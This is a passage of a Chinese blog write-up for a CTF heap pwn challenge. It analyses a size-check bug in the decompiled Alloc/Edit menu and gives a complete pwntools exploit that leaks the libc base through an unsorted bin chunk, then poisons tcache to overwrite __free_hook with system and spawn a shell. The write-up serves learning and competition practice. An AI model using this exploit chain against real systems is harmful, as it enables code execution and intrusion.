  if ( v1 > 0xF || !Pr_Arr[v1] )
    return puts("error!");
  printf("%d : %s\n", v1, (const char *)Pr_Arr[v1]);
  return puts("success!");
}
void __fastcall main(int a1, char **a2, char **a3)
{
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    Memu();
    switch ( read_Int() )
    {
      case 1:
        Alloc();
        break;
      case 2:
        Delete();
        break;
      case 3:
        Edit();
        break;
      case 4:
        Show();
        break;
      case 5:
        exit(0);
      default:
        exit(0);
    }
  }
}

除了代码之外，全局变量的内存分布如下：

1
2
3
4
5
6
7
8
.bss:0000000000202060 ; __int64 Size_Arr[16]
.bss:0000000000202060 Size_Arr        dq 10h dup(?)           ; DATA XREF: Alloc+55↑o
.bss:0000000000202060                                         ; Edit+7A↑o
.bss:00000000002020E0 ; void *Pr_Arr[16]
.bss:00000000002020E0 Pr_Arr          dq 10h dup(?)           ; DATA XREF: Alloc+AB↑o
.bss:00000000002020E0                                         ; Alloc+D1↑o ...
.bss:00000000002020E0 _bss            ends
.bss:00000000002020E0

漏洞定位

本题的漏洞还是有些隐蔽的．
相信各位师傅在做本题的时候一定会关注 Edit()

1
2
3
4
if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
  return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);

这里这处可疑的 强制类型转换 实在太可疑了．
nbytes 的型别很容易推断出是 int．
接下来推断 Size_Arr 的型别为：

Size_Arr 中的值只有一个来源就是 Alloc() 中的：

1
Size_Arr[idx] = nbytes;

对应的汇编代码是：

1
2
3
4
5
6
7
.text:0000000000000A48 ; 12:   Size_Arr[idx] = nbytes;
.text:0000000000000A48                 mov     eax, dword ptr [rbp+pr]
.text:0000000000000A4B                 movsxd  rdx, eax
.text:0000000000000A4E                 mov     eax, [rbp+idx]
.text:0000000000000A51                 lea     rcx, ds:0[rax*8]
.text:0000000000000A59                 lea     rax, Size_Arr
.text:0000000000000A60                 mov     [rcx+rax], rdx

可以看到 movsxd 也就是 nbytes 被符号扩展为 Size_Arr[idx]．
那么就能推断出 Size_Arr 的型别为：int64_t[]．那么

问题来了：Edit() 中 nbytes 和 Size_Arr[v1] 的型别分别是 int32_t 和 int64_t，两者比较大小时，若无强制类型转换，编译器应当由隐式类型转换规则对 int32_t 进行符号扩展，也就是将 int32_t 转换为 int64_t，然后比较根据有符号数的比较规则比较两者大小即可．

为了验证，可以查看汇编代码：

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000000C0A ; 13:   if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
.text:0000000000000C0A                 cmp     dword ptr [rbp+nbytes], 0
.text:0000000000000C0E                 jle     short loc_C76
.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13                 movsxd  rdx, eax
.text:0000000000000C16                 mov     eax, [rbp+var_8]
.text:0000000000000C19                 lea     rcx, ds:0[rax*8]
.text:0000000000000C21                 lea     rax, Size_Arr
.text:0000000000000C28                 mov     rax, [rcx+rax]
.text:0000000000000C2C                 cmp     rdx, rax
.text:0000000000000C2F                 jnb     short loc_C76

在汇编代码中能看到这处语句中对 nbytes 先进行了符号扩展：

1
2
.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13                 movsxd  rdx, eax

但 rdx 与 rax 的比较却使用了比较无符号数的汇编指令 jnb．

这反常的行为提醒着需要提高警惕．
所以笔者就猜测此处应该存在整数溢出的问题．
但看起来出题者通过检测 nbytes <= 0 堵住了 nbytes 发生整数溢出的可能．

那么，Size_Arr[v1] 能发生溢出吗？

确实能，但不用也行……

回看 Alloc()

1
2
3
4
5
6
7
nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
  return puts("error!");
pr = malloc(nbytes);
if ( !pr )
  return puts("error!");

会惊讶的发现，读取道德 nbytes 被直接写入了 Size_Arr，写入之后才验证数据是否合法.
这意味着可以通过执行 Alloc() 来任意改变 Size_Arr 中的元素．

例如在对 idx 为 0 分配 0x20 的空间后，能通过对 idx 为 0 再次执行 Alloc()，输入 size 大于 1024，实现将 Size_Arr[idx] 修改．
接下来就能通过 Edit() 实现堆溢出．

好了，这就是本题可供利用的漏洞了．若说整数溢出，唯一于此相关的就是：在对 idx 再次执行 Alloc 输入 size 时可以出入 -1，这样在后面调用 Edit() 时就能输入任意的整数作为 size 进行 edit 了．
但不利用这点也完全能解出本题（笔者也想不通出题人为什么在这里放一个整数溢出的 bugs，或许就是为了干扰答题者的思路？）．

解题思路

上面说了漏洞所在．下面聊聊解题思路吧．

首先，利用 Unsort Bin Attack 泄露 main_area 的地址，进而泄露 libc 基址．
其后，利用 tcache poisoning 劫持 __free_hook 为 system，free 写着 /bin/sh\x00 的内存即可.

通过逆向工程得到的伪代码能轻易写出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
    log.debug("get bytes "+addr_port.hex())
    recvlen = len(addr_port)
    log.debug("recv len "+hex(recvlen))
    assert(recvlen == 6)

    return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
    r.sendlineafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Show(idx: int):
    r.sendlineafter(b">>\n", i2b(4))
    r.sendlineafter(b"idx?\n", i2b(idx))
    r.recvuntil(b': ')
    return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
    r.sendlineafter(b">>\n", i2b(1))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    if cont is None:
        r.recvline()
    else:
        content(cont)


def Edit(idx: int, size: int, cont: bytes):
    r.sendlineafter(b">>\n", i2b(3))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    # pause()

    r.sendafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Delete(idx: int):
    r.sendlineafter(b">>\n", i2b(2))
    r.sendlineafter("idx?\n", i2b(idx))

下面申请通过 #0 的溢出能将 #1 的 size 修改为 1-5 的 chunk size 总和．#6 是用来防止 #5 与 top chunk 相邻．

1
2
3
4
5
6
7
8
9
10
11
12
Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123")  # 1
Alloc(2, 0xf8, b"123")  # 2
Alloc(3, 0xf8, b"/bin/sh\x00")  # 3
Alloc(4, 0xf8, b"123")  # 4
Alloc(5, 0xf8, b"123")  # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

通过这一步，libc 认为 free 掉了一个大小为 0x500 的块，这个块超过了 tcache 的最大值，所以被放进了 Unsort Bin.chunk 的 fd 和 bk 均指向 main_area+96，通过这里得到 libc 基址．
就是要泄露 fd 指针了．通过 show #0 泄露 fd.

1
2
3
4
5
6
7
8
Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

好了，泄露部分完毕，只剩下使用 tcache poisoning 劫持 __free_hook 的部分了．

1
2
3
4
5
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

这次分配中，将 0x500 的 chunk 切分出了 0x100 的部分．通过 Delete 掉分配的 chunk，它进入了 tcache．

1
2
3
4
5
payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

再次利用溢出，修改 tcache 的 next.并通过第二次 Alloc 获得指向 __free_hook 的指针，并 __free_hook 改为 system_Addr．

1
2
Delete(3)
r.interactive()

最后，利用被改成 system_Addr 的 __free_hook，free 掉指向 /bin/sh\x00 的指针．
解题完毕．

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
    log.debug("get bytes "+addr_port.hex())
    recvlen = len(addr_port)
    log.debug("recv len "+hex(recvlen))
    assert(recvlen == 6)

    return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
    r.sendlineafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Show(idx: int):
    r.sendlineafter(b">>\n", i2b(4))
    r.sendlineafter(b"idx?\n", i2b(idx))
    r.recvuntil(b': ')
    return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
    r.sendlineafter(b">>\n", i2b(1))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    if cont is None:
        r.recvline()
    else:
        content(cont)


def Edit(idx: int, size: int, cont: bytes):
    r.sendlineafter(b">>\n", i2b(3))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    # pause()

    r.sendafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Delete(idx: int):
    r.sendlineafter(b">>\n", i2b(2))
    r.sendlineafter("idx?\n", i2b(idx))


Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123")  # 1
Alloc(2, 0xf8, b"123")  # 2
Alloc(3, 0xf8, b"/bin/sh\x00")  # 3
Alloc(4, 0xf8, b"123")  # 4
Alloc(5, 0xf8, b"123")  # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

Delete(3)
r.interactive()
关注我

链接

分类

最新文章

归档

标签

AF_XDP2
ArchLinux1
AssemblyLanguage1
BPF2
BUUCTF1
C9
C++3
CTF1
Cache1
Calculus1
Crypto3
CyberspaceSecurity2
DNSDist2
Fastbin1
GNU/Linux10
Glibc1
Heap3
IPv61
Kernel1
Linux3
Network1
NumberTheory1
OperatingSystem2
PWN4
Powerdns2
Reverse1
STL1
Tcache2
Tools1
UAF1
UnsortBin1
WriteUp2
XDP2
calloc1
eBPF2
git1
io_uring1
kernel2
pdns2
xsk2
×